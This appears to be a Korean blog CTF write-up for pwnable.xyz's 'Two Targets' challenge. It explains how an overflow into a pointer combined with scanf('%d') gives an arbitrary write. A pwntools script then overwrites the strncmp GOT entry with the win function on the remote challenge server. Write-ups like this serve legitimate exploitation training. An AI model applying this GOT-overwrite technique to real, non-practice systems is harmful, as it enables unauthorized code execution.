How to Exploit
flag 내용을 보고 다른 방법으로 풀이를 해보자. 취약점은scanf("%d", v7)
에서 v7에 주소값을 미리 입력해두면 그 주소에 원하는 값을 쓸 수 있다. 거기다가 v6와 v7의 거리는 16인데 scanf("%24s", &v6)
이므로 v7에 값을 쓸 수 있다.
v7에 strncmp 함수의 got(0x603018)을 입력한 뒤 그 주소에 win 함수를 덮어주고 auth 함수를 실행하면 win 함수로 넘어가게 된다. 참고로 pie가 꺼져있어서 수월하게 할 수 있다.
Exploit Code
from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30031)
p.sendlineafter('> ', '2')
payload = 'A'*16+p64(0x603018)
p.sendlineafter('nationality: ', payload)
win_add = 0x40099c
p.sendlineafter('> ', '3')
p.sendlineafter('age: ', '4196764')
p.sendlineafter('> ', '4')
p.interactive()
Capture The Flag
'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글
Xor (0) | 2020.03.07 |
---|---|
Welcome (0) | 2020.03.07 |
Two Targets - 1 (0) | 2020.03.07 |
TLSv00 (0) | 2020.03.07 |
Sub (0) | 2020.03.07 |